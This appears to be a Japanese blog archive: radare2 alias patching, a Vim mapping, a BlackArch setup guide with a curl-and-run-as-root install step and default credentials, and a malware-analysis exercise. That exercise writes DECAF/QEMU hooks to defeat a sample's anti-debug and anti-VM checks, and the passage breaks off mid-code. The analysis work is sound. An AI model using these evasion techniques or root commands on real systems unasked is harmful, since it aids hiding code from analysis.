// libr/core/cmd.c 128 static int cmd_alias(void *data, const char *input) { 129 int i; 130 char *def, *q, *desc, *buf; 131 RCore *core = (RCore *)data; // help_msgの'$'を'n'に置き換える 132 if (*input=='?') { 133 const char* help_msg[] = { 134 "Usage:", "nalias[=cmd] [args...]", "Alias commands", 135 "n", "", "list all defined aliases", 136 "n*", "", "same as above, but using r2 commands", 137 "n", "dis='af;pdf'", "create command - analyze to show function", 138 "n", "test=#!pipe node /tmp/test.js", "create command - rlangpipe script", 139 "n", "dis=", "undefine alias", 140 "n", "dis", "execute the previously defined alias", 141 "n", "dis?", "show commands aliased by 'analyze'", 142 NULL}; 143 r_core_cmd_help (core, help_msg); 144 return 0; 145 } ... // コマンド解析時の識別文字を変更.ここが要 149 *buf = 'n'; ... // 何も押さないでEnterした時に前回のコマンドが実行される機能を'n'で動くようにする. 2354 R_API void r_core_cmd_repeat(RCore *core, int next) { 2355 // Fix for backtickbug px`~` 2356 if (core->cmd_depth + 1 < R_CORE_CMD_DEPTH) 2357 return; 2358 if (core->lastcmd) 2359 switch (*core->lastcmd) { 2360 case 'd': // debug 2361 r_core_cmd0 (core, core->lastcmd); 2362 switch (core->lastcmd[1]) { 2363 case 's': 2364 case 'c': 2365 r_core_cmd0 (core, "sr PC;pd 1"); 2366 } 2367 break; 2368 case 'p': // print 2369 case 'x': // ここを変更.これを忘れると,入力なしの時に前回のコマンドを実行する機能が動かない 2370 case 'n': 2371 if (next) { 2372 r_core_seek (core, core->offset + core->blocksize, 1);
インストール
セーブしたら,
$ sys/install.sh
でインストールできる.
ローカルにインストールしたいときは
$ sys/user.sh
削除は
$ make uninstall && make purge
で行うことができる.
確認
無事インストールが終わったら,反映されているかを確認する.
$ r2 /bin/ls [0x00404840]> n? |Usage: nalias[=cmd] [args...]Alias commands | n list all defined aliases | n* same as above, but using r2 commands | ndis='af;pdf' create command - analyze to show function | ntest=#!pipe node /tmp/test.js create command - rlangpipe script | ndis= undefine alias | ndis execute the previously defined alias | ndis? show commands aliased by 'analyze' [0x00404840]> ndis='af;pdf' [0x00404840]> n* ndis=af;pdf [0x00404840]> ndis / (fcn) entry0 42 | 0x00404840 31ed xor ebp, ebp | 0x00404842 4989d1 mov r9, rdx | 0x00404845 5e pop rsi | 0x00404846 4889e2 mov rdx, rsp | 0x00404849 4883e4f0 and rsp, 0xfffffffffffffff0 ...(snip)...
これでエイリアス機能の識別文字がn
になっていることが確認できた.
しかし,エイリアスの定義では引数を渡す文字の@
を使うことができない.
[0x00404840]> ndis='pd 10@eip
とすると,
[0x00404840]> n* ndis='pd 10
と途切れてしまう.これはひと手間かけることで解決できる.
[0x00404840]> (test,"",pd 10@eip) [0x00404840]> ntest=.(test)`
マクロを定義して,そのマクロのエイリアスを設定している.これで,@
問題は解決できる.
デバッグ用エイリアス
最後に,デバッグでよく使いそうなマクロ・エイリアスを紹介する.一部はradare2book
に載っているものを活用した.これを$HOME/.radare2rc
に書いておくと起動時に毎回読み込んでくれる.
// .radare2rc for 32bit (peda32,"",drr,pd 10@eip,pxr 40@esp) (stepOut32,"",dso,drr,pd 10@eip,pxw 64@esp) (stepIn32,"",ds,drr,pd 10@eip,pxw 64@esp) (outputStack32,"",pxw 64@esp) nn=.(stepIn32) ; GDBでの'si' ni=.(stepOut32) ; GDBでの'ni' nw=.(outputStack32) ; GDBでの'x/20xw $esp' np=.(peda32) ; pedaによる出力に似た何か ns='do;db main;dc;db- main;np' ; GDBでの`start'.デバッグ情報が消されている場合は動作しない nr='do;dc;np' ; GDBでの'run' nc='dc;np' ; GDBでの'continue'
// .radare2rc for 64bit <- この行は書かない (peda64,"",drr,pd 10@rip,pxr 40@rsp) (stepOut64,"",dso,drr,pd 10@rip,pxq 64@rsp) (stepIn64,"",ds,drr,pd 10@rip,pxq 64@rsp) (outputStack64,"",pxq 64@rsp) nn=.(stepIn64) ni=.(stepOut64) nq=.(outputStack64) np=.(peda64) ns='do;db main;dc;db- main;np' nr='do;dc;np' nc='dc;np'
コマンド名は最初がn
であることが条件.それ以降は自由に変えてよい.
まとめ
とりあえず,これでエイリアス機能が指をあまり動かさずに呼び出せるようになったので楽になった.しばらくはこの設定で使ってみようと思う.
書き換える箇所があれだけで済んだこととソースが読みやすかったことには感動した.機能をひとつのファイル内で完結させる部分とかは今後プログラムを書く上で意識していきたい.
しかし,もっと良い方法がデフォルトでなにかあるんじゃないかなと思いもする.Bookを読んでなにか気づいたらまた書きたい.
参考文献
Radare2Book: https://www.gitbook.com/book/radare/radare2book/details
Vimで簡単なファイルテンプレートを入力するコマンドを作成してみた
プログラムを組むとき,テンプレートを毎回手で入力することが面倒くさくなったので,Vimのショートカットにした.
編集中のファイル名を挿入する方法やレジスタについて勉強したので簡単にまとめておく.
目的
作成したいのは現在編集しているファイルに対して,自分が使っているテンプレートを書き込むだけの簡単なコマンドを実装する.本エントリではC言語向けのものを説明する.
具体的な動作は,編集中のファイルの最初と最後にそれぞれコメントを書き込むだけ.最初のコメント部にはファイル名を自動で書き込む.
Ex: filename.cを編集中の場合 /* filename.c */ <... code ...> /* E.O.F. */
E.O.F.
って手で打つと面倒くさい.
コマンド
最終的には以下を.vimrc
に付け加えた.
nmap <silent> ,/ Go/* E.O.F. */<Esc>ggO/* <C-r>% */<CR>
ノーマルモードで,/
と打つと実行.特に難しいものでもないから,肝となる部分だけ以下で説明する.
ファイル名の挿入
インサートモードで<C-r>+レジスタ
とすると,レジスタの内容を挿入することができる.今回はカレントファイル名を格納している%
レジスタを使用した.
レジスタ
種類が多いから,少しだけ紹介.
* 番号付きレジスタ: "0-9
のレジスタで0
はコピー内容,それ以降は1
から最新の削除内容が入る.
* 名前付きレジスタ: "[a-Z]
のレジスタで明示的に指定することで任意に使える.
* 消去専用レジスタ: "_
レジスタ._dd
とするとレジスタ内容に変化を起こさずに削除を行える.
各レジスタは"<レジスタ名><コマンド>
で使える.具体的にはV"ay
で"a
レジスタに一行を保存し,"ap
でその内容を書き込める.
レジスタに何が入っているのかの確認は:reg
で行える.
まとめ
多分プラグインを探せばもっと高機能なものがあるのだろうが,そこまでの機能は求めていないからと軽い気持ちで実装したら思った以上に手間取った.レジスタについてはもっと使いこなせるようになりたい,特に_dd
は多用しそうだ.
参考文献
BlackArchの紹介
Gentooにはセキュリティ用にチューニングされたPentooがある.Arch Linuxにもあるんじゃないのかなと思って探したら案の定あった.
という訳で,今回はArch Linuxのセキュリティ特化ディストリBlackArchを紹介する.
BlackArchとは
ペンテスターやセキュリティ研究者向けのLinuxディストリの一つ.Arch Linuxを基盤としてしているため,使い方自体はArchと同じ.
レポジトリは非公式のものを使用している模様.
そして,現在(2016/1/5)レポジトリには1337のツールがある.ツッコミ待ちなのかと疑いたくなる数字だ・・・.
インストール
インストール方法は以下の2つがある.
* ISOからインストール
* Arch LinuxにBlackArchのレポジトリを追加する
ISOからインストール
まずは公式サイトからISOイメージを落としてくる.
Download BlackArch
の下の方にある日本のミラーを使うと比較的早く落とせる.
あとはVBoxなりVMwareなどで仮想マシンを作成.
もしくは
$ sudo dd bs=512M if=file.iso of=/dev/sdx
file.iso
にはダウンロードしたISO,/dev/sdx
にはお好みのフラッシュドライブを選択する.
USBとかを指定すると良い.USBの場合はBIOSの設定をいじってUSBからブートできるようにする.
起動できたら
User: root
Pass: blackarch
でログイン.
新しいディスクにインストールしたいときはLive CDを起動して
$ sudo pacman -S blackarch-install-scripts $ sudo blackarch-install
Arch LinuxにBlackArchのレポジトリを追加する
既にインストールが終わっているArchにレポジトリを追加し,必要なだけBlackにする.
$ cd $HOME/Downloads # スクリプトを落として確認. "86eb4efb68918dbfdd1e22862a48fda20a8145ff"と出たらOK $ curl -O http://blackarch.org/strap.sh && sha1sum strap.sh $ chmod 755 ./strap.sh # /etc/pacman.confを書き換える $ sudo ./strap.sh [+] installing blackarch keyring... (snip) [+] BlackArch Linux is ready!
/etc/pacman.conf
を見てみると,最後に追加されている.
[blackarch] Server = http://www.mirrorservice.org/sites/blackarch.org/blackarch//$repo/os/$arch
以上でレポジトリの追加は終わり.これで普通にpacman -Ss <tool_name>
とすると,blackmanのレポジトリからも検索されるようになる.
あとは好きなツールをインストールする.
# ツールの全リストを表示 $ pacman -Sgg | grep blackarch | cut -d' ' -f2 | sort -u # カテゴリを見る $ pacman -Sg | grep blackarch # 指定したカテゴリのツールを全部インストール $ sudo pacman -S blackarch-<category> # ツールを一個だけ入れる $ sudo pacman -S <tool-name> # 全ツールのインストール $ pacman -S blackarch
パッケージからビルドしたい人はblackman
よりインストールしていく.
時間に余裕がある人はこちらがおすすめ.
# blackmanのインストール.blackarchのレポジトリが追加されていないと見つからない. $ sudo pacman -S blackman # カテゴリの表示 $ blackman -l # カテゴリ内のツールを表示 $ blackman -p <category> # ツール単体のインストール $ sudo blackman -i <package> # カテゴリ単位のインストール $ sudo blackman -g <group> # 全部インストール $ sudo blackman -a
カテゴリを見てみると早速ドローン関係のツール(blackarch-drone)があったりして気になる.
私の場合,端末の背景を黒にしているので,$ blackman -p blackarch-windows
とかしたときにツールの説明が表示色の関係で読みにくかった.
そこで/usr/bin/blackman
を以下のように編集した.
75行目: tput boldの追加 [-] GREEN="$(tput setaf 2)" [+] GREEN="$(tput bold ; setaf 2)" 86行目: WHITE -> GREEN [-] printf "%s${fmt}%s\n" "${WHITE}" "$@" "${NC}" [+] printf "%s${fmt}%s\n" "${GREEN}" "$@" "${NC}" 94行目: GREY -> NC [-] printf "%s${fmt}%s\n" "${GREY}" "$@" "${NC}" [+] printf "%s${fmt}%s\n" "${NC}" "$@" "${NC}"
各自好きな色に変更するといいと思う.
感想
Kali Linuxを使ってても思うが,セキュリティ特化のディストリは知識のない身では様々なツールが入っていても,使いこなせない上にディスク容量食うわデーモンが動いていて通常動作や再起動が重くなるわで普段使いには向かない気がする.
Arch Linuxの良さはその軽さのはずだが,BlackArch全部入りしてしまうと重くなりがちである.
このような考えから,私は普通のArch Linuxを使って必要なツールのみをblackman
で適宜インストールするほうが好ましいと思う.
ちょっとマニアックなソフトウェアが簡単に見つかるから,地味に便利.
カテゴリごと入れてしまえるのは楽そうに見えはするが実際のところはどうなんだろうか.確かめていきたい.
あとguideのPDFはComming soon...
を埋めて欲しい.
参考
セキュリティキャンプ講義「仮想化技術を用いたマルウェア解析」にチャレンジしてみた(プラグイン開発編)
前回のエントリでDECAFをコンパイル、仮想マシンの用意・起動とプラグインを読み込ませるところまでやった。
今回は講義の本題であるプラグインの開発をやっていく。
私自身はQemu, DECAFや関数Hook,PEB構造体とかも全く知らず,マルウェア解析の経験もない状態で始めてみたが,何とかなったので興味があるならチャレンジしてみれば楽しいと思う.
最終的なプラグインはpoppycompass/red · GitHubに置いてある.適宜参照してほしい.
プラグイン基礎
プラグインの基本をIsDebuggerPresent
をHookするプラグインgeteip
を使って説明する.
Hookとは,プログラムの特定の箇所にユーザが定義した処理を追加することらしい.
今回で言うと,IsDebuggerPresent
が実行される前と後に任意の処理を追加する関数Hookのことを指す.
前回のエントリのコマンドを一通り試した人は<your_path>/DECAF/decaf/plugins/geteip
以下にあるはずである.
まだ持っていない人は
$ git clone https://github.com/ntddk/geteip
でダウンロードすること.
このプラグインの主なファイルはplugin_cmds.h
とgeteip.c
である.
これからそれぞれの内容を見ていきたい.
なお,解説は現在の私の理解であるため,誤り等が含まれることがある.見つけたら遠慮なく指摘していただけるとありがたい.
plugin_cmds.h
プラグインに実装した機能はqemuのコマンドとして実行する.
このコマンド名はmon_cmd_t
で設定する.具体的な設定は以下の通り.
{ .name = "geteip", // コマンド名 .args_type = "procname:s?", // 引数タイプ.今回は特定のプロセス名を引数に取る .mhandler.cmd = do_monitor_proc, // コマンド実行時に実行する関数名 .params = "[procname]", // ???用途不明??? .help = "tracking EIP of [procname] as block"// コメント },
このプラグインではplugin_cmds.h
で構造体を定義し,geteip.c
にて
static mon_cmd_t geteip_term_cmds[] = { #include "plugin_cmds.h" {NULL, NULL, }, };
とインクルードしている.当然のことながらgeteip.c
の方に埋め込むこともできる.
コマンド名は自由に変えることができるが,変更したら*.c
の名前やソースの関数名も合わせて変更しないと混乱する.
geteip.c
全部説明すると長いので,Hook関連の場所だけを抜粋して説明する.
// Hook用のハンドル static DECAF_Handle isdebuggerpresent_handle = DECAF_NULL_HANDLE; typedef struct { uint32_t call_stack[1]; //paramters and return address, 今回は引数がないのでreturn adddressが入る. DECAF_Handle hook_handle; } IsDebuggerPresent_hook_context_t; // 関数Hookには関数ごとにこの構造体を用意する. /* * BOOL IsDebuggerPresent(VOID); */ // IsDebuggerPresent終了時に呼び出される static void IsDebuggerPresent_ret(void *param) { IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t *)param; hookapi_remove_hook(ctx->hook_handle); DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); } // IsDebuggerPresent開始時に呼び出される static void IsDebuggerPresent_call(void *opaque) { DECAF_printf("IsDebuggerPresent "); IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t*)malloc(sizeof(IsDebuggerPresent_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], IsDebuggerPresent_ret, ctx, sizeof(*ctx)); } // 監視対象プロセス作成時に呼び出される static void geteip_loadmainmodule_callback(VMI_Callback_Params* params) { if(strcmp(params->cp.name,targetname) == 0) { DECAF_printf("Process %s you spcecified starts \n", params->cp.name); target_cr3 = params->cp.cr3; // Hookしたい関数を登録 isdebuggerpresent_handle = hookapi_hook_function_byname("kernel32.dll", "IsDebuggerPresent", 1, target_cr3, IsDebuggerPresent_call, NULL, 0); blockbegin_handle = DECAF_register_callback(DECAF_BLOCK_BEGIN_CB, &geteip_block_begin_callback, NULL); } }
プラグインをロードするとinit_plugin
が呼び出される.geteip_init
ではVMI_register_callback
関数で監視対象プロセス作成時にgeteip_loadmainmodule_callback
を呼び出すよう登録している.
実行
作成したプラグインはコンパイルしてから起動した仮想マシンにロードする.
コンパイル
$ pwd /home/<user>/DECAF/decaf/plugins/geteip $ ./configure --decaf-path=/home/<user>/DECAF/decaf $ make
geteip.so
が作成されていれば成功.
ロード
(qemu)
のプロンプトが出ている状態で
(qemu) load_plugin /home/<user>/DECAF/decaf/plugins/geteip/geteip.so (qemu) geteip blue.exe
のように使う.今回であればロード時にHello, World!
のメッセージがでるはず.
注意点
Anti-Qemu trick回避
IsDebuggerPresent Hook
IsDebuggerPresent
はデバッグ
* されている : 0以外
* されていない: 0
を返す関数.
今回だと,デバッグしていることを隠したいからIsDebuggerPresent
終了時に戻り値を0に書き換えてやるとblue.exe
はデバッグされていないと勘違いさせることができる.
geteip
のプラグインは関数Hookまで書いてあるから,戻り値を書き換えるだけで良い.
関数終了時の処理を少しだけいじる.戻り値はqemuのEAX
に入っている.
// IsDebuggerPresent終了時に呼び出される static void IsDebuggerPresent_ret(void *param) { IsDebuggerPresent_hook_context_t *ctx = (IsDebuggerPresent_hook_context_t *)param; hookapi_remove_hook(ctx->hook_handle); cpu_single_env->regs[R_EAX] = 0; // 追加 DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); }
これでIsDebuggerPresent
の戻り値は常に0
となる.
ここからようやく課題スタート.
課題プログラム
一つ一つのLevelが回避できることを確認していきたい人は,これからは下に書いたコードをgeteip.c
に書き加えていけば各Levelを回避していけるはず.
未検証なので,回避できた・ここが足りなかったなどを教えてもらえると嬉しい.
前回のエントリのコマンドを一通りやっていれば/home/<user>DECAF/VMs
にblue
というディレクトリがあるはず.
やっていない人は
$ git clone https://github.com/ntddk/blue.git
でダウンロードする.
blue/Release/blue.exe
がプログラム本体で,blue/blue/blue.cpp
がソースコード.
構造は極めて簡単で,
if (IsDebuggerPresent() == FALSE && Blue() == 0 && Charlie() == 0 && Delta() == 0 && Echo() == 0) Flag();
の通り,各関数の戻り値を0
になるようにする.一つでも回避できないと即停止.
Level1: Blue
static inline int Blue() { printf("\n[Level 1] Blue ..."); Sleep(360000); DWORD time1 = GetTickCount(); Sleep(500); if ((GetTickCount() - time1) < 450) Detected(); else return 0; }
仕組みはまずSleep
で6分潜伏したあと2回GetTickCount
を呼び出して,Sleepがちゃんと実行されているかを確認しているような感じ.
毎回6分も待つのは辛いので真面目に回避することにする.
やるべきはSleep
の引数を1
にして,2回のGetTickCount
の戻り値の差を450以上にすること.
これらは以下のコードで実現できる.
// 関数Hook用の構造体を定義 typedef struct { uint32_t call_stack[2]; // return address and parameters ([0]: ret addr, [1]: time) DECAF_Handle hook_handle; } Sleep_hook_context_t; typedef struct { uint32_t call_stack[1]; // return address only -> VOID DECAF_Handle hook_handle; } GetTickCount_hook_context_t; // 構造体定義終わり /* * BOOL Sleep(DWORD dwMilliseconds); */ static void Sleep_ret(void *param) { // DECAF_printf("Sleep exit\n"); Sleep_hook_context_t *ctx = (Sleep_hook_context_t *)param; hookapi_remove_hook(ctx->hook_handle); free(ctx); } static void Sleep_call(void *opaque) { // DECAF_printf("Sleep entry\n"); Sleep_hook_context_t *ctx = (Sleep_hook_context_t*)malloc(sizeof(Sleep_hook_context_t)); if(!ctx) return; // bypass Sleep // Sleepの引数を ctx->call_stackに読み込み(call_stack[0]: ret addr, call_stack[1]: dwMilliseconds) DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 2*4, ctx->call_stack); // 引数の書き換え.1ミリ秒だけ待機するようにした. ctx->call_stack[1] = 1; // call_stackをメモリに書き込む.これで変更が反映される. DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 2*4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], Sleep_ret, ctx, sizeof(*ctx)); } /* Sleep end */ /* * DWORD GetTickCount(VOID) */ static void GetTickCount_ret(void *param) { // GetTickCountは二回呼び出される.最初の呼び出しの時だけ戻り値を変更したい. // 静的変数 flag を使うことで実装した. static int flag = 0; // DECAF_printf("GetTickCount exit\n"); GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t *)param; hookapi_remove_hook(ctx->hook_handle); // 最初の呼び出しでは戻り値は0,二回目は正しい値が返る. // 呼び出し間の差が450以上になれば良いので,最初(450), 2回目(900)とかやって遊ぶのも面白い.オーバフローには注意 if (!flag) { // ture is only first call cpu_single_env->regs[R_EAX] = 0; // return 0 flag = 1 } else { flag = 0; } // DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); free(ctx); } static void GetTickCount_call(void *opaque) { // DECAF_printf("GetTickCount entry\n"); GetTickCount_hook_context_t *ctx = (GetTickCount_hook_context_t*)malloc(sizeof(GetTickCount_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetTickCount_ret, ctx, sizeof(*ctx)); } /* GetTickCount end */ // 監視対象の関数を登録する.'[+]'の行を付け加えるだけ. static void red_loadmainmodule_callback(VMI_Callback_Params* params) { [+] sleep_handle = hookapi_hook_function_byname("kernel32.dll", "Sleep", 1, target_cr3, Sleep_call, NULL, 0); [+] gettickcount_handle = hookapi_hook_function_byname("kernel32.dll", "GetTickCount", 1, target_cr3, GetTickCount_call, NULL, 0); }
ctx->callstackには関数呼び出し時は[ret_addr, arg0, arg1, ...]となっていて,関数終了時にはret_addrなどは消える.
編集が終わったら,
$ pwd /home/<user>/DECAF/decaf/plugins/geteip $ make
(qemu) unload_plugins # 既にプラグインを挿入している場合 (qemu) load_plugin /home/<user>/DECAF/decaf/plugins/geteip/geteip.so (qemu) geteip blue.exe
ここまでやったあと,Windows上でblue.exe
を動かしてみる.
Level2で検知されたらOK.
Level2: Charlie
コードは以下の通り.
static inline int Charlie() { printf("\n[Level 2] Charlie ..."); SYSTEM_INFO siSysInfo; GetSystemInfo(&siSysInfo); if (siSysInfo.dwNumberOfProcessors < 2) Detected(); else return 0; }
GetSystemInfo
関数は引数の_SYSTEM_INFO
構造体に各種値を入れる.構造体は9の変数を持っている.
typedef struct _SYSTEM_INFO { // sinf call_stack[0]: union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; }; }; call_stack[1]: DWORD dwPageSize; call_stack[2]: LPVOID lpMinimumApplicationAddress; call_stack[3]: LPVOID lpMaximumApplicationAddress; call_stack[4]: DWORD dwActiveProcessorMask; call_stack[5]: DWORD dwNumberOfProcessors; // プロセッサ数 call_stack[6]: DWORD dwProcessorType; call_stack[7]: DWORD dwAllocationGranularity; call_stack[8]_low: WORD wProcessorLevel; call_stack[8]_high: WORD wProcessorRevision; } SYSTEM_INFO;
_SYSTEM_INFO
構造体は6番目の要素にdwNumberOfProcessors
というプロセッサ数を格納する変数があり,これが1
だと仮想環境と判断し,停止する.
回避方法はシンプルで,こいつを2
以上に書き換えてやれば良い.
実装は以下の通り.使う関数などはLevel1と同じ.
static DECAF_Handle getsysteminfo_handle = DECAF_NULL_HANDLE; typedef struct { uint32_t call_stack[10]; // return address and parameters DECAF_Handle hook_handle; } GetSystemInfo_hook_context_t; /* * VOID GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); */ static void GetSystemInfo_ret(void *param) { // DECAF_printf("GetSystemInfo exit\n"); GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t *)param; hookapi_remove_hook(ctx->hook_handle); // 構造体を読みだす. DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack); // 変数の書き換え ctx->call_stack[5] = 0x2; // SYSTEM_INFO.dwNumberOfProcessors is 0x2 // 反映 DECAF_write_mem(NULL, cpu_single_env->regs[R_ESP], 10*4, ctx->call_stack); // write back to memory // DECAF_printf("EIP = %08x, EAX = %d\n", cpu_single_env->eip, cpu_single_env->regs[R_EAX]); } static void GetSystemInfo_call(void *opaque) { // DECAF_printf("GetSystemInfo entry\n"); GetSystemInfo_hook_context_t *ctx = (GetSystemInfo_hook_context_t*)malloc(sizeof(GetSystemInfo_hook_context_t)); if(!ctx) return; DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 4, ctx->call_stack); ctx->hook_handle = hookapi_hook_return(ctx->call_stack[0], GetSystemInfo_ret, ctx, sizeof(*ctx)); } /* GetSystemInfo end */ static void red_loadmainmodule_callback(VMI_Callback_Params* params) { [+] getsysteminfo_handle = hookapi_hook_function_byname("kernel32.dll", "GetSystemInfo", 1, target_cr3, GetSystemInfo_call, NULL, 0); }
編集が終わったら,コンパイルする.
(qemu) unload_plugins # 既にプラグインを挿入している場合 (qemu) load_plugin /home/<user>/DECAF/decaf/plugins/geteip/geteip.so (qemu) geteip blue.exe
Level2が回避できたことを確認したらLevel3へ.
Level3: Delta
さて,ここまでは引数や戻り値をいじってやればよかったので,簡単だった.
Level3からはWinodwsについての知識が必要になってくるので複雑になってくる.
問題のコードは以下の通り.
static inline int Delta() { printf("\n[Level 3] Delta ..."); unsigned long NumberOfProcessors = 0; __asm { mov eax, fs:[0x30] mov eax, [eax + 0x64] mov NumberOfProcessors, eax } if (NumberOfProcessors & 0x1) Detected(); else return 0; }
やっていることはLevel2と同じくNumberOfProcessors
を確認している.
実はIsDebuggerPresent
もGetSystemInfo
もPEB(Process Environment Block)構造体というものの要素を参照する関数である.
だから問題としては関数がアセンブラになったと考えるとわかりやすいだろうか.
PEB構造体は各プロセスごとに作成される構造体で,ヒープやファイル,ロードしたDLLの内容などが入っている.
PEB構造体はTEB(Thread Environment Block)構造体という,スレッドごとに作成される構造体の先頭から0x30
バイト先にその先頭アドレスが入っている.
絵で書くとこんな感じか
TEB構造体 | 0x0 | | ... | | ... | | ... | PEB構造体 | 0x30(PEB) | -> | 0x0 | | ... | | ... | | 0x64 | -> value of NumberOfProcessors
決してプラグインに上のアセンブラを混ぜ返してやればいいなんて考えないように.エミュレータ上のレジスタとプラグインに書いたレジスタは別物だと思う.やる人はあまりいないと思うが,やって時間を浪費したアホがここにいるので一応書いておく.
このトリックの対処としてはPEB構造体の値そのものを書き換えてやればよい.実装は以下の通り.
// bypass level3, 引数はデバッグ用 static void level3(int line_num) { uint32_t NumberOfProcessors = 0; uint32_t base = 0, peb_addr = 0, peb = 0; // TEB構造体のアドレスを取得.FSレジスタに格納されている base = cpu_single_env->segs[R_FS].base; // PEB構造体の入っているアドレスを計算 peb_addr = base + 0x30; // PEB構造体のアドレスを読み込む DECAF_read_mem(NULL, peb_addr, 4, &peb); // NumberOfProcessorsを読み込む DECAF_read_mem(NULL, peb+0x64, 4, &NumberOfProcessors); //DECAF_printf("FS(TEB): 0x%08x, peb_addr: 0x%08x, peb: 0x%08x\n", base, peb_addr, peb); // 変数を変更して反映 NumberOfProcessors = 0x2; DECAF_write_mem(NULL, peb+0x64, 4, &NumberOfProcessors); // write back to memory } // level3 end static void red_loadmainmodule_callback(VMI_Callback_Params* params) { [+] level3(__LINE__); // replace NumberOfProcessors }
コンパイルして回避できたことを確認したら終了.
PEBやらTEB構造体を初めて知ったが,奥が深い.
PEB構造体は探せば中身が出てくるが,実際はUndocumentedらしい.
Level4: Echo
最後の課題.
多分今できているプラグインを読み込ませて何回かblue.exe
を実行するとLevel4が回避できる時と回避できない時があるはず.もしちゃんと検知してくれない時は何回か実行すると良い.
問題のコードは以下の通り.
static inline int Echo() { printf("\n[Level 4] Echo ..."); __try{__asm{cmpxchg8b fs:[0x1000]}} __except (1){Detected();} return 0; }
cmpxchg8b fs:[0x1000]
は
if ([EDX:EAX] == fs:[0x1000]) fs:[0x1000] = [ECX:EBX]; else [EDX:EAX] = fs:[0x1000]; // [EDX:EAX]はEDXが上位32ビットでEAXが下位32ビットとする64ビット値
といった動作をする.この命令自体F00F
バグと呼ばれるバグの原因となった厄介な機械語らしい.
これがどうしてQemu検知できるかというと,read-onlyのページに書き込みした場合,本物のCPUならばPage Faultが起こる.Qemuの場合はPage Faultが起こらないらしい.どうやらQemuの実装上の欠陥をついた方法のようだ.ソースは
https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf
正直未だにこの検知の仕組みがよくわかっていない.整理できていない思考を書いておく.面倒な人は読み飛ばし推奨.真面目に読んだ人は意見が欲しい.
よくわからん!
- ソースの文章によると,メモリに書き込んでみて,Page Faultが起きなければ良いということなのだろう.しかし,Qemuだと例外が起こらないのだから,try文で検知できるのだろうか・・・?
[EDX:EAX]
は特に書き換えられていない.つまり[EDX:EAX]
はfs:[0x1000]
と関係がないから,[EDX:EAX] = fs:[0x1000]
の代入が起こるはず.これだとメモリがread-onlyだとかは関係がないんじゃなかろうか.- 加えて,このLevelは検知される時と検知されない時の原因はPEB構造体が
fs:[0x1000]
に配置されるか否かであることがわかった.
条件としては
配置される : 検知されない
配置されない: 検知される
Olly DebugのQ&Aを見てみると,WindowsXPのSP1以前はfs:[0x1000]
にPEB構造体が配置されることが約束されていたようだ.これがなにか関係があるのかとも思ったが,Qemu検知とは全く関係がない・・・はず.
Level4復帰
散々混乱した末に以下の結論に至った.
よくわからんが,PEB構造体は書き込み可である.fs:[0x1000]
にPEB構造体が配置されていない時はread-onlyなのだろう(未検証・予想・適当).
だから,fs:[0x1000]
に格納されているアドレスを書き込み可能なアドレスにしてしまえばいいと考えた.
Windowsのプログラムで書き込み可能フラグが立っているアドレスの調べ方がわからなかったので,手っ取り早くスタックの先頭アドレス(ESP)に書き換えることにした.これでうまく行ってしまったので,これが答えの一つなのだろう.他にもっと冴えたやり方あるのかな.
cmpxchg8b
が実行される時だけを検知して処理を行わないとプログラムがクラッシュする可能性がある.また,実行後はちゃんと元の値に戻さなければならない.
このあたりの検知は機械語を一つ実行するごとにHookしてcmpxchg8b
かどうかを判定した.これにはDECAF_INSN_BEGIN_CB
を使うことで実装することができる.
当然ながらこのやり方はとてつもなく重い.間違ってもこのHook中の処理にprintf
とか挟んではいけない.やらかした奴が言うんだから間違いない.
説明が長くなったが,実装は以下の通り.
// level4 static uint32_t save_peb = 0; static uint32_t save_val[2] = {0, 0}; static uint32_t save_base = 0; static void red_insn_begin_callback(DECAF_Callback_Params* params) { // detect cmpxchg8b and replace fs:[0x1000] uint32_t cur_insn = 0, cmpxchg8b = 0x00c70f64, // opcode of 'cmpxchg8b: 0x640fc7 ->(fix endian) 0x00c70f64 base, peb_addr, tmp_addr; // 3Byte読み込んで,比較 DECAF_read_mem(NULL, cpu_single_env->eip, 3, &cur_insn); if (cur_insn == cmpxchg8b) { // catch cmpxchg8b base = cpu_single_env->segs[R_FS].base; DECAF_read_mem(NULL, base+0x30, 4, &save_peb); // get peb if (base > save_peb) { // peb is rear base DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 8, save_val); /* DECAF_printf("FS(TEB): 0x%08x, peb: 0x%08x\n", base, save_peb); */ /* DECAF_printf("edx:eax %08x:%08x, ecx:ebx %08x:%08x\n", cpu_single_env->regs[R_EDX], cpu_single_env->regs[R_EAX], cpu_single_env->regs[R_ECX], cpu_single_env->regs[R_EBX]); */ save_base = base; cpu_single_env->segs[R_FS].base = cpu_single_env->regs[R_ESP]-0x1000; // fs = ESP - 0x1000 } } } static void red_insn_end_callback(DECAF_Callback_Params* params) { return; } // level4 end static void red_loadmainmodule_callback(VMI_Callback_Params* params) { [+] insnbegin_handle = DECAF_register_callback(DECAF_INSN_BEGIN_CB, &red_insn_begin_callback, NULL); // level4 [+] insnend_handle = DECAF_register_callback(DECAF_INSN_END_CB, &red_insn_end_callback, NULL); // level4 } static void red_cleanup(void) { [+] if (insnbegin_handle != DECAF_NULL_HANDLE) [+] { [+] DECAF_unregister_callback(DECAF_INSN_BEGIN_CB, 